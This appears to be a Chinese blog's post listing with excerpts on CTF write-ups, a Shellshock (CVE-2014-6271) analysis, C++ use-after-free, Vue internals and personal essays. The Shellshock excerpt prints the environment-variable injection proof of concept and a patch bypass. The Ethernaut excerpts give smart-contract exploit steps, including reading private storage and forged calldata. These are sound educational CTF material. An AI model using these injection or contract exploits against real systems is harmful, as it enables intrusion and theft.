夜间模式暗黑模式
字体
阴影
滤镜
圆角
thumbnail
【MiniLCTF 2020】浅析Bilibili的BV号算法
因为要给miniLCTF出题,正好趁机沉下心来研究一下B站的BV号是怎么一回事。顺便把这篇文章当做BilibiliDV题目的官方wp。在看这篇文章之前还是非常建议读者参考知乎的高赞回答。个人感觉在刚公布BV号的事实一天之后就写出了转换脚本,还是挺厉害的!这也是我出题的动机。 参考链接: 如何看待 2020 年 3 月 23 日哔哩哔哩将稿件的「av 号」变更为「BV 号」?- mcfx的回答 题目给的样本文件有一点大,为了方便一点,我就直接给出样本文件的生成脚本,可以自己跑一遍来生成一下: baseTable = 'd59nD71EcAt38aT24eCN06' baseArray = {} for i in range(22): baseArray[baseTable[i]] = i xor = 50790 inc = 114514 startNum = 1000000 endNum = 4000000 dvStaticStr = 'DV t ACD Ne ' dynIndex = [12, 11, 8, 4, 2] def encrypt(x): x = (x ^ xor) + inc dvNum = list(dvStaticStr) for i in range(5): dvNum[dynIndex[i]] = baseTable[x // 22 ** i % 22] return ''.join(dvNum) def decrypt(x): r = 0 for i in range(5): r += baseArray[x[dynIndex[i]]] * 22 ** i return (r - inc) ^ xor file = open('av1000000To3999999.txt', 'w') for num in range(startNum, endNum): file.write('av'+str(num)+' - '+encrypt(num)+'\n') 提前看到生成脚本的编码逻辑其实也没啥关系,这题重要的地方在于怎么去把这个逻辑给找出来,这是最关键的。 0x01 准备工作 一开始的工作是“观察”,找一些表面规律。一般来说,这个阶段应该找到这些事实: 算上开头的DV标识,DV号总长度是13个字符,固定不变。某些固定位上的字符固定不变,动态位用X表示出来就是这样的:DVXtXACDXNeXX 其实你把固定位上的字符拿出来看一下,是个有意义的一串字符:tACDNe。这样子可能看不出来,倒过来试试:eNDCAt。是不是发现了什么!在之后的工作中其实也有很多这样“有意思的地方”。 其实再观察的仔细一点你会发现,av号每增加一位的时候,对应dv号其实不是那种“翻天覆地”的变化,我把它亲切的称呼为“类似进位的变化规律”: 应当想到这可能是一种单表替换的编码方式,而且这个单表的顺序看起来也被打乱了。而且某些dv号在av递增时改变的位数不止一位,这样的变化情况也不是“等间距”发生的事件,事情慢慢变得麻烦起来了。这个阶段我觉得应该发现的事实有: 可能是数值转换为某种形式后进行了列表替换随着av号的递增,dv号的改变是从最末位的变化位开始变化,随后往更高位变化 0x02 base? 其实在比赛的过程中我发现已经很少有人能够做到这步了。对于替换表这样的编码方式,频率分析其实是非常重要的一个方法。我们针对样本的最后一位进行分析,并给出分析脚本: file = open('av1000000To3999999.txt', 'r') charDict = {} while True: line = file.readline() if not line: break endChar = line[-2] if endChar in charDict: charDict[endChar] = charDict[endChar] + 1 else: charDict[endChar] = 1 print(charDict) # result: # {'8': 136363, 'a': 136363, 't': 136363, '3': 136363, # 'c': 136363, 'A': 136363, '1':…
thumbnail
C++虚函数和UAF
0x01 前置知识 虚函数 在C++里面,如果类里面有虚函数,它就会有一个虚函数表的指针__vfptr(virtual function pointer),存放在类对象最开始的内存数据中,在这之后就是类中成员变量的内存数据。对于其子类来说,最开始的内存数据记录着父类对象的拷贝,包括父类虚函数表指针和成员变量,紧接其后的是子类自己的成员变量数据。 BaseClass​   +-------------+   |             |   | __vfptr   | <------+ when virtual   |             |         function exists   +-------------+   |             |   | Base data | +-------------+   |             |               |   +-------------+               | (same as)                                 |Child                           v​   +-------------+         +------------+   |             |         | __vfptr   |   | base copy | +------> +------------+   |             |         | base data |   +-------------+         +------------+   |…
thumbnail
CVE-2014-6271漏洞分析
0x01 Intro 虽然是比较久远的破壳漏洞了,但是最近刷pwnablekr的时候碰到了这个知识点,就稍微整理一下。这个CVE影响范围为GNU Bash 4.3之前,Bash在读取某些刻意构造的环境变量时会存在安全漏洞。因为某些服务和应用允许未经身份验证的攻击者提供精心构造的环境变量,攻击者利用这个漏洞可以实现绕过环境限制执行Shell命令。 0x02 环境变量 什么是环境变量呢,通过下面的方法就可以定义一个简单的环境变量: $ foo="hello world" 然后我们就可以使用这个变量,比如echo $foo。但是这个变量只能在当前的shell进程才能访问,比如在shell中fork出来的进程就访问不到$foo。如果需要在shell的子进程中访问,需要在前面添加export: $ export bar="hello world" 如果需要查看一下当前shell下有哪些环境变量可以在子进程中可见,使用env命令。另外,env也可以用来定义export的环境变量: $ env var="hello endcat" 同样,shell下不仅可以定义环境变量,也可以定义函数。同样的,如果想要在子进程中访问,也需要在前面加上export。 $ foo(){ echo "hello world"; } 0x03 漏洞成因 先来看一下CVE-2014-6271的poc: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 前面说到,Shell里面可以定义变量,在poc中定义了一个名称为x的变量,内容是一个字符串() { :;}; echo vulnerable,根据漏洞信息知道,这个漏洞产生在shell处理函数定义的时候,执行了函数体后面的命令。在这个例子中,就是echo vulnerable。你可能会感到奇怪,x明明是一个字符串,为什么会变成函数? 来看一下GNU Bash 4.3之前的函数实现,一般来说定义一个函数的格式是这样的: function function_name(){body;} 当Bash在初始化环境变量的时候,语法解析器发现小括号和大括号的时候,就认为它是一个函数定义。比如foo='(){ echo endcat }',bash就会认为这是一个函数定义,并把foo作为其值的函数名,其值就是函数体。通过typeset可以查看当前环境的所有变量和函数定义。 至于调用函数定义后面的语句的原因,是因为bash在初始化的时候调用了builtins/evalstring.c中的parse_and_execute函数,这个函数负责了解析字符串输入并执行的工作。在源码中有一行来判定命令是否为全局的: else if (command = global_command){    struct fd_bitmap *bitmap;   ...} 事实上在bash进程启动后,会把poc中的x函数解析成解析全局函数。通过typeset -f查看在定义的x后面会有一句declare -fx say_hello。declare是bash内置命令,用于限定变量的属性。-f表征变量为函数,-x表征变量被export成一个全局函数。其实bash在整个解析初始环境变量的过程中,采用的是foo=bar的赋值语句去用eval执行一遍;如果出现了函数定义就把它转变为函数,在转变的过程中没有严格检查,连带执行了后面的命令。为了避免这个问题,加上了这样一条补丁: #define SEVAL_FUNCDEF 0x080       /* only allow function definitions */#define SEVAL_ONECMD 0x100       /* only allow a single command */if ((flags & SEVAL_FUNCDEF)  && (command->type != cm_function_def){    break;}if (flags & SEVAL_ONECMD) break; 但是,还是被惨遭bypass: $ env X='() { (x)=>\' sh -c "echo date"; cat echo 补丁思路的意思是,如果不是函数定义/超过一个命令就认为不合法。但实际上在poc中,函数体为(){,同时又因为没有;分号,它也是一个单命令。Bash shell在执行eval的时候会遇到语法问题,从而把(x)=忽略掉,然后缓冲区就剩下了>\两个字符。然后bash就执行了这个指令: $ >\my echo hello 来回忆一下bash的语法,首先>为重定位字符,可以理解为把字符前面的东西写入到字符后面里面。比如A > B就意味着把进程A的输出写入到文件B中,实际上和> B A是等价的。具体来说,重定向的语法定义是这样的: redirection: '>' WORD{ redir.filename = $2; $$ = make_redirection (1, r_output_direction, redir);} \是转移字符,保留后面的文本。只在终端输入\并回车后bash进程会被阻塞并等待用户输入。 综上所述,poc在执行的时候相当于执行了>\my echo hello,效果为在路径下面生成了my文件,内容为hello。
thumbnail
浅析双向绑定原理
分析任何原理,看源代码就行了。 0x01 几种实现双向绑定的方法 主流的mvc/mvvm框架都实现了单向数据绑定,双向绑定无非就是在单向绑定的基础上给可输入元素添加了change(input)事件监听,来动态修改model/view。 数据绑定的做法: 发布者-订阅者模式(backbone.js)脏值检查(angular.js)数据劫持(vue.js) 发布者-订阅者模式 发布订阅模式属于广义上的观察者模式 发布订阅模式是最常用的一种观察者模式的实现,并且从解耦和重用角度来看,更优于典型的观察者模式 发布订阅模式多了个事件通道 在观察者模式中,观察者需要直接订阅目标事件;在目标发出内容改变的事件后,直接接收事件并作出响应。 ╭─────────────╮ Fire Event ╭──────────────╮│             │─────────────>│             ││   Subject   │             │   Observer   ││             │<─────────────│             │╰─────────────╯ Subscribe   ╰──────────────╯​ 在发布订阅模式中,发布者和订阅者之间多了一个发布通道;一方面从发布者接收事件,另一方面向订阅者发布事件;订阅者需要从事件通道订阅事件 以此避免发布者和订阅者之间产生依赖关系 简单实现 var shoeObj = {}; // 定义发布者shoeObj.list = []; // 缓存列表 存放订阅者回调函数        // 增加订阅者shoeObj.listen = function(fn) {    shoeObj.list.push(fn);  // 订阅消息添加到缓存列表}​// 发布消息shoeObj.trigger = function(){    for(var i = 0,fn; fn = this.list[i++];) {        fn.apply(this,arguments);   }}// 小红订阅如下消息shoeObj.listen(function(color,size){    console.log("颜色是:"+color);    console.log("尺码是:"+size);  });​// 小花订阅如下消息shoeObj.listen(function(color,size){    console.log("再次打印颜色是:"+color);    console.log("再次打印尺码是:"+size); });shoeObj.trigger("红色",40);shoeObj.trigger("黑色",42); 脏值检查 angular.js 是通过脏值检测的方式比对数据是否有变更,来决定是否更新视图,最简单的方式就是通过 setInterval() 定时轮询检测数据变动,当然Google不会这么low,angular只有在指定的事件触发时进入脏值检测,大致如下: DOM事件,譬如用户输入文本,点击按钮等。( ng-click )XHR(XMLHttpRequest)响应事件 ( $http )浏览器Location变更事件 ( $location )Timer事件( timeout, interval )执行digest()或apply() 数据劫持 vue.js 则是采用数据劫持结合发布者-订阅者模式的方式,通过Object.defineProperty()来劫持各个属性的setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调。 0x02 Object.defineProperty() Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象。 Document 0x03 双向绑定实现 要实现mvvm的双向绑定,就必须要实现以下几点: 1、实现一个数据监听器Observer,能够对数据对象的所有属性进行监听,如有变动可拿到最新值并通知订阅者 2、实现一个指令解析器Compile,对每个元素节点的指令进行扫描和解析,根据指令模板替换数据,以及绑定相应的更新函数 3、实现一个Watcher,作为连接Observer和Compile的桥梁,能够订阅并收到每个属性变动的通知,执行指令绑定的相应回调函数,从而更新视图 4、mvvm入口函数,整合以上三者 Observer var data = {name: 'mashiro'};observe(data); // 监听data对象data.name = 'endcat'; // 哈哈哈,监听到值变化了 mashiro --> endcat​function observe(data) {    // 检查data    if (!data || typeof data…
thumbnail
Evan You讲Vue响应性原理的摘记
摘自尤雨溪的讲座 万事先从简单开始讲起,比如现在项目经理需要我实现一个东西。 "嘿,我需要两个变量,一个叫a,一个叫b,并且b永远是a的10倍,永 远!" 我拍了拍脑袋开始写: let a = 3let b = a * 10console.log(b) // 30a = 4console.log(b) // Oops, b is still 30 当a改变的时候,b是不会随着a的改变而改变。为了需要让b改变的话那该咋办呢,再加一行? let a = 3let b = a * 10console.log(b) // 30a = 4b = a * 10console.log(b) // now b is 40 但是这样显然是治标不治本的做法,我的想法是当我每次改变a的时候我不需要手动更新b,我希望这样的关系是声明式的。所以我决定使用Excel解决项目经理的需求。 AB1440 (fx = A1 * 40) 在Excel里面,单元格数值之间的关系使用函数来表示。如果在JavaScript中,我也想要实现这样的效果,就应该类似地存在这样一个魔法函数: onAChanged(() => {    b = a * 10}) 每当a改变的时候,就应该执行onAChanged函数。现在的问题就转变为了如何实现这样一个魔法函数。把这个放到实际的web开发情景来看: <span class="cell b1"></span>​<script>    onStateChanged(() => {        document   .querySelector('.cell.b1')   .textContent = state.a * 10   })</script> 这样的声明式函数描述了b1和状态之间的数值关系,如果我们进一步抽象,使用模板语言来加以描述: <span class="cell b1"> {{ state.a * 10}}</span>​<script> onStateChanged(() => { view = render(state) })</script> view = render(state)是所有视图渲染系统中如何工作的非常高等级的抽象。当然其内部有复杂的DOM实现、虚拟DOM实现机制。由于不是这篇文章的重点就不再详细说明。我们更感兴趣的事情是如何实现onStateChanged这一外部函数: let updateconst onStateChanged = _update => {    update = _update}​const setState = newState => {    state = newState    update()} 上面是可能的一种实现方式:它只是简单的将更新函数保存在某个地方,然后不允许用户任意操作状态并要求总是调用一个函数来处理状态,这个函数就是setState,setState简单地接受新状态,替换旧状态,然后再次调用更新函数。 onStateChanged(() => {    view = render(state)})​setState({ a:5 }) 使用过react的人对此应该会特别熟悉。react会在setState中强制性地触发状态改变,而这实际上就是react在响应性上的简单工作机制。但是在angular或者vue中,我们不必调用setState来操作状态。 onStateChanged(() => {    view = render(state)})state.a = 5 事实上在angular中使用了脏检查的方法(回顾一下双向绑定原理),它会拦截事件后检查所有的东西是否被改变了,在vue里会做得更加细致一点。 autorun(() => {    console.log(state.count)}) 把onStateChanged改写成上面这样的形式,其实这本质上是一种在Knockout.js/Meteor Tracker/Vue.js和MobX中通用的基本形式的依赖跟踪。Vue的响应性采用了ES5的Object.defineProperty()API,简单翻一下文档回忆一下: Document 我们来看一个简单实现的方案: <script>function observe (obj) {    // 遍历键值  Object.keys(obj).forEach(key => {    let internalValue = obj[key]    let dep =…
thumbnail
Ethernaut智能合约题目整理(三)
[github author="Endcat" project="Ethernaut-WriteUp"][/github] Privacy 0x01 Task pragma solidity ^0.4.18;​contract Privacy {​  bool public locked = true;  uint256 public constant ID = block.timestamp;  uint8 private flattening = 10;  uint8 private denomination = 255;  uint16 private awkwardness = uint16(now);  bytes32[3] private data;​  function Privacy(bytes32[3] _data) public {    data = _data; }    function unlock(bytes16 _key) public {    require(_key == bytes16(data[2]));    locked = false; }​  /*   A bunch of super advanced solidity algorithms...​     ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`     .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,     *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\     `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.   ~|__(o.o)     ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU */} 0x02 Solution 先按照Vault题目的思路,把private的数据读出来: web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});// 0x000000000000000000000000000000000000000000000000000000fbbbff0a01web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});// 0x6f396091d021e1f8bcaa20b7ddee0f5d9a29812cba18da57c4f8d14cfa9db557web3.eth.getStorageAt(contract.address, 2, function(x, y) {alert(y)});// 0x874250db8f2de50c3e45833b8b787acc995739a58c2fbee736b3e843f3f46bdbweb3.eth.getStorageAt(contract.address, 3, function(x, y) {alert(y)});// 0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577eweb3.eth.getStorageAt(contract.address, 4, function(x, y) {alert(y)});// 0x0000000000000000000000000000000000000000000000000000000000000000 每一个存储位是32个字节,根据Solidity的优化规则,当变量所占空间小于32字节时,会与后面的变量共享空间(如果加上后面的变量也不超过32字节的话) bool public locked = true 占 1 字节 -> 01uint8 private flattening = 10 占 1 字节 -> 0auint8 private denomination = 255 占 1 字节 -> ffuint16 private awkwardness = uint16(now) 占 2 字节 -> fbbb 对应第一个存储位fbbbff0a01 则解题需要的data[2]就应该在第四存储位0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e 注意有bytes16转换,取前16个字节即可 await contract.unlock("0x41c6d2d9a50bbea305fbbd3709be8b7a0159fd9656ad79c7e3c99c43bbc7577e") Re-entrancy 0x01 Task pragma…
thumbnail
Ethernaut智能合约题目整理(二)
[github author="Endcat" project="Ethernaut-WriteUp"][/github] Gatekeeper One 0x01 Task pragma solidity ^0.4.18;​contract GatekeeperOne {​  address public entrant;​  modifier gateOne() {    require(msg.sender != tx.origin);    _; }​  modifier gateTwo() {    require(msg.gas % 8191 == 0);    _; }​  modifier gateThree(bytes8 _gateKey) {    require(uint32(_gateKey) == uint16(_gateKey));    require(uint32(_gateKey) != uint64(_gateKey));    require(uint32(_gateKey) == uint16(tx.origin));    _; }​  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {    entrant = tx.origin;    return true; }} 如何过三道门呢? 0x02 Solution gateOne() 利用之前做过的 Telephone 的知识,从第三方合约来调用 enter() 即可满足条件。 假设用户通过合约A调用合约B: 对于合约A:tx.origin和msg.sender都是用户对于合约B:tx.origin是用户,msg.sender是合约A的地址 gateTwo() 需要满足 msg.gas % 8191 == 0通过debug调试得到,等下再说。 gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。 require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); This means that the integer key, when converted into various byte sizes, need to fulfil the following properties: 0x11111111 == 0x1111, which is only possible if the value is masked by 0x0000FFFF0x1111111100001111 != 0x00001111, which is only possible if you keep the preceding values, with the mask 0xFFFFFFFF0000FFFF gateTwo() 需要满足 msg.gas % 8191 == 0 这里使用爆破的方法解决: contract Attack {​    address public instance_address =…
thumbnail
Ethernaut智能合约题目整理(一)
前言 最近在做一些智能合约的题目,觉得挺好玩。这里把必要的解题思路整理一下,相关markdown文档和exp已上传至github,欢迎查阅,共同学习!顺序是按照题目首字母的字母顺序排列的,可能和原关卡顺序不一样。 [github author="Endcat" project="Ethernaut-WriteUp"][/github] Alien Codex 0x01 Task pragma solidity ^0.4.24;​import 'zeppelin-solidity/contracts/ownership/Ownable.sol';​contract AlienCodex is Ownable {​  bool public contact;  bytes32[] public codex;​  modifier contacted() {    assert(contact);    _; }    function make_contact(bytes32[] _firstContactMessage) public {    assert(_firstContactMessage.length > 2**200);    contact = true; }​  function record(bytes32 _content) contacted public { codex.push(_content); }​  function retract() contacted public {    codex.length--; }​  function revise(uint i, bytes32 _content) contacted public {    codex[i] = _content; }} You've uncovered an Alien contract. Claim ownership to complete the level. 0x02 need2know AlienCodex是继承自Ownable合约的,而在Ownable合约中其实存在变量_owner,我们的目标就是要想办法把_owner改成自己的地址。 再看到AlienCodex合约里面,很多方法都添加了contacted修饰符,我们也应当把contact改成true。 看到make_contact函数,里面有把contact设置为true的操作,但是存在限制检查assert(_firstContactMessage.length > 2**200)。想了一下2^200基本上在内存中也装不下这么大的东西。 这里要知道:当您调用方法传递数组时,solidity不会根据实际有效负载对数组大小进行检查。 根据Contract ABI,并拿单变量函数make_contact(bytes32[] _firstContactMessage)举例,参数应当参照下面的结构: 4 bytes of a hash of the signature of the functionthe location of the data part of bytes32[]the length of the bytes32[] arraythe actual data. 接下来把他们都计算出来: web3.sha3('make_contact(bytes32[])') 0x1d3d4c0b6dd3cffa8438b3336ac6e7cd0df521df3bef5370f94efed6411c1a65 take first 4 bytes, so 0x1d3d4c0b our desired result. 偏移就是32bytes 0x0000000000000000000000000000000000000000000000000000000000000020 大于2^200的长度 0x1000000000000000000000000000000000000000000000000000000000000001 实际数据不用放。 sig = web3.sha3("make_contact(bytes32[])").slice(0,10)// "0x1d3d4c0b"data1 = "0000000000000000000000000000000000000000000000000000000000000020"// 除去函数选择器,数组长度的存储从第 0x20 位开始data2 = "1000000000000000000000000000000000000000000000000000000000000001"// 数组的长度await contract.contact()// falsecontract.sendTransaction({data: sig + data1 + data2});// 发送交易await contract.contact()// true contact被我们设置成true了以后,能用的函数就变多了。接下来要修改的是Ownable合约中其实存在变量_owner,但是看看源码好像没有相关的修改表达式,那就换个想法,从合约内部存储原理入手。 _owner被存储在合约的slot0上,而codex数组存储在slot1上。因为EVM的优化存储,并且地址类型占据20bytes,bool占据1byte,所以他们都能存储在一个大小为32bytes的slot中。EVM的存储位置计算规则,对于codex数组来说就是keccak256(bytes32(1)): SlotVariable0contact bool(1 bytes] & owner address (20 bytes), both fit on one…
thumbnail
对CTF中Misc题目的碎碎念
我觉得在大多数人看来,Misc在CTF竞赛中的档次是最低的。感觉就像是题目出得太少然后拿Misc这种意义不明啥都可以出的Category来凑点数。我的结论:确实如此。但是一般的小型CTF赛事,其本身、各个方向的题目都是如此。 如果对CTF相关投资自己的精力,我认为对于未来的发展帮助是微乎及微的。当然这里不包括参加某些赛事拿个奖可以对自己名利上的晋升有一定帮助的情况,虽然我对这些东西也不感兴趣。但是有时候也是不得已的事情,相信你也会懂。另外有一点对CTF前景不太看好的原因是它的商业性质越来越重了,当出题的动力都是源于利益的时候,你就会发现做过的题,都是抄来抄去的考点,尚有的创新就是考点套娃。套娃是最致命的,常常会被认为是“脑洞太大”。出现了脑洞的问题,我觉得CTF竞赛就失去了部分的意义。它本来就是出题人和做题人之间的思维博弈,做不出题无非两个原因,一是知识盲区,二是脑洞太大(或者说出题的突破点没有放置在一个合理的位置)。这个过程中完全就是出题人主导性的,出题的好坏就决定了做题人的体验。 另一方面,如果真要学习CTF的话,最恰当的方式还是边刷题边学习。在这之前首先要学会一些命令行的操作和计科常识,然后通过入门一些简单的题总体规划某个方向的题目它会用怎样的手段来考你。之后对某个方向有了整体的认知之后,就去系统的学习题目的种类,或者说题型更为恰当。打CTF其实和acm,甚至和高考没差。首先有最基本的知识保证自己看得懂题目,然后通过不停的练习找到套路,然后就是实战上考场,最后的高考就可以类比为一些CTF的知名赛事。 对Misc手的一些经验,我看到了最近的题目越来越不向常规的套路走了。所以你真的要纯靠刷题来获得解题经验的话,我觉得不太行。相比之下我觉得web和二进制方面更有系统化的解题思路,不过其他类型也应该差不多。题目老是去出一些常规套路,那对于那些刷题的“书呆子”就很有利。我觉得这样的比赛创新一点是非常不错的,一方面能消除经验带来的隔阂,使得老赛棍能和新手一起有同台竞技的资本。 再刷一点题,我就去看一下其他方向的赛题情况了。我不是专门在一个方向上的所谓xxx手。我是那种“全都要”的人。因为我不觉得诸如比赛,安全云云之类,存在web二进制密码学这样的隔阂。从哲学的层面理解的话,所有事物都会是相通的。 在文章的最后我稍微提供一些干货,主要是我在解Misc题的时候,解题环境方面是怎么样一个情况,给大家一个样例。 我使用的是Windows+WSL的方式。Windows给我提供了很方便的桌面端app的支持,主要是考虑到某些解题软件需要。同时在Win主机上编写代码十分方便,也非常适合我。最为重要的是WSL,WSL提供了Linux环境下的命令行程序支持。拥有了两个平台的程序支持在解题的时候如鱼得水。WSL推荐的DIstribution我推荐Kali,不过WSL提供的镜像包没有原装一些重要的工具,需要使用apt在kali本体安装之后进行安装。不使用虚拟机的原因是,我的硬盘已经被开发环境堆满了……等以后赚钱了一定买一个磁盘容量大一点的PC。而且不是用虚拟机的原因是因为相比较终端直接起用一个shell的便捷方式,我觉得没人会再去等好一会让虚拟机开机。而且更加重要的一点是WSL的目录文件可以在Explorer下很方便的进行查看管理。这点上来看,我更加喜欢使用WSL而不是笨重的虚拟机。 解题工具方面,其实一直刷题,你的工具就会越来越多的。提前装了一大堆工具又有什么用呢,不去按需使用最终造成的结果就是浪费磁盘空间,而且这么多工具你一个不会。 这算是我对Misc的个人小结吧,Web/密码学/二进制的个人小结也是未来可期。对自己要求高一点。文章开头的碎碎念都是我的个人意见,啊如果你对CTF超级狂热,希望你要一直努力,欢迎交流。
thumbnail
如何舒适地度过疫情假期
其实写了这个标题,倒也不是说这篇文章就以列举一些个人的平常为主了,完全不是的!毕竟我非常相信自己文章写着写着就离题的能力,义务教育写作文的时候我就发现了自己这样的“特异能力”了。所以作为读者的你大可放心,读我的文章会非常的顺畅,而且如果能够细细品味的话,还是有很多有趣的地方在里面的。 在这个最长的假期里面,生活日常是什么? 生活日常还是要说的,不然就真的离题了... 但是仔细想了一下也没啥可说的,在平常不过的事情在生活中并不会去刻意记住,都是当做肌肉记忆了。到了一个时间点,就会去做该做的事情,这个就是所谓的习惯。早上就稍微赖一下床。赖床是一定要赖的,不知道是“奇怪的仪式感”,还是“精神无法驱动肉体”,那个时候就是感觉,自己的被窝就是世界上最最最舒服的地方。 总归不能一直这样,起床把该做的事情都做了,基本上就是和自己的笔电过一天的生活。家人也会嫌我经常不动不出去走,身体会变得不健康,我相信你们的爸妈应该也是这样子的(如果对你们很宠的话)。所以我还是有经常到家外面走走,顺便就把单反带上去拍点东西。不过单反不带,其实也没有任何关系,毕竟走出家门不是我主动的。如果我有啥想法和灵光一现的感觉,这个时候就会很情愿地不由自主的走出去看看世界。如果不是疫情的原因,我觉得平常这种时候还是会有小伙伴一起去广场玩玩喝喝唱唱的。 外面的世界还是很不错的,由其是母亲家后山樱花盛开的时候,拍了很多,还兴趣驱动简单做了一个剪辑。无忧无虑的时间很少,赏花的时候自己会心旷神怡一点,平常坐在电脑前面就会焦虑头疼。一方面是有问题难以解决,还有一方面是对学业事业的焦虑。我经常在自己的思想中,一遍又一遍画我这一生的结构和路线图,但结果都是擦掉重画,可以理解为“对前途感到茫然”。这是一种非常奇怪的现象,就跟书读得越多你知道的越少一样。这种具有相对性的缺失感,估计还是因为自己的欲望太强造成的,或者说是“固执的成功主义”吧。我也不确定你们是不是这样的。现在的我感觉有点缺少“灵魂对灵魂的交流”,想事情就感觉有一层无法突破的遮罩挡在大脑皮层外圈,思绪就像从大脑中心无法突破这层遮罩一般在脑子里面乱窜。换一种话来讲,就是感觉自己整个人没有通透的感觉,感觉就是一直被什么东西禁锢。唉,感觉也是很难解释也很难理解的事情。我相信你们一定没听懂嘿嘿,因为我自己也搞不懂。 给这一段做个小结,我的日常就是电脑+出去散步。 有没有做出了什么改变? 没有感觉,没有改变。 很多时候自己想要改变完全就是嘴上说说,心里自我满足一下,然后就全然忘记了。像我这样的年龄的话,也快到了一个人习惯的成型阶段了。习惯成型了以后,就很难再去改变。就像三观成型了以后,以后也很难再改变。在这个方面,我其实比较羡慕自己在义务教育阶段能够有一个比较深刻的哲学知识的摄入。所谓的哲学摄入,就是经常看一点深奥的哲学探讨。我都无法保证现在的我还能再能够理解那些形而上学云云的晦涩词汇,但是学生时代的我确实很容易被这些深奥的东西吸引住。但是建议各位以后,或者以后对自己的孩子可不敢输入这种深奥的知识。因为我的下场就是经常写一些“不堪入目”“乱七八糟”“浮想联翩”的语文作文,然后就被语文老师盯上了,然后高考考了个傻子一样的分数。 很多人认为我的高考就是失利了,我觉得就是我能力欠缺。对于考试的答题规范套路从来没有去注意,不考砸才怪。“标新立异”从来不适用于普通人,因为没有这样的伯乐去欣赏你的标新立异。这样的例子学术圈里不少,即便是娱乐圈也是有很多这样的例子。没有相当的“权势”,就没有相当的“话语权”,除非足够幸运。 所以最佳的选择就是“在沉默中折磨自己”。变成大家所认为的理所当然的样子,得到理所当然的荣誉,理所当然的结束一切,如此简单。 未来未期 可能你会发现,我其实是有一个比较私人的群组的。我的预期是希望能够召集我身边的“鬼才”,来共同地去实现一个目标。这个想法还太过于前期,现在的阶段仍然是我个人能力的提升,未来未期。